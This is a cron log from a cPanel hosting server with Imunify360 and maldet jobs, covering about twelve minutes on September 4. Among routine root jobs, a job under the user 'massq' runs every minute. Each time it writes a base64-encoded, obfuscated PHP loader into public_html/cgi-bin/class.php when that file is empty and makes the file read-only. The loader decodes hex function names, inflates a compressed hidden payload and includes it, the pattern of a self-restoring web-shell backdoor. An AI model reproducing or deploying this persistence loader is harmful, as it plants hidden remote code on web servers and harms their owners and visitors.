Sep  4 12:50:01 server CROND[21949]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 12:50:01 server CROND[21946]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:51:01 server CROND[22953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:51:01 server CROND[22954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:51:01 server CROND[22955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:52:01 server CROND[23357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:52:01 server CROND[23358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:52:01 server CROND[23359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:53:01 server CROND[23724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:53:01 server CROND[23725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:53:01 server CROND[23726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:54:01 server CROND[24158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:54:01 server CROND[24159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:54:01 server CROND[24160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:55:01 server CROND[24630]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:55:01 server CROND[24632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:55:01 server CROND[24638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:55:01 server CROND[24641]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:55:01 server CROND[24644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:55:01 server CROND[24643]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:55:01 server CROND[24642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:56:01 server CROND[25446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:56:01 server CROND[25447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:56:01 server CROND[25448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:57:01 server CROND[25815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:57:01 server CROND[25816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:57:01 server CROND[25818]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 12:57:01 server CROND[25817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:58:01 server CROND[26193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:58:01 server CROND[26194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:58:01 server CROND[26195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:59:01 server CROND[26564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:59:01 server CROND[26565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:59:01 server CROND[26566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:00:02 server CROND[27044]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:00:02 server CROND[27046]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 13:00:02 server CROND[27052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:00:02 server CROND[27058]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 13:00:02 server CROND[27060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:00:02 server CROND[27056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:00:02 server CROND[27057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:00:02 server CROND[27063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:00:02 server CROND[27055]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 13:01:01 server CROND[27873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:01:01 server CROND[27876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 13:01:01 server CROND[27875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:01:01 server CROND[27874]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 13:01:01 server run-parts(/etc/cron.hourly)[27874]: starting 0anacron
Sep  4 13:01:01 server run-parts(/etc/cron.hourly)[27896]: finished 0anacron
Sep  4 13:02:01 server CROND[28252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:02:01 server CROND[28254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
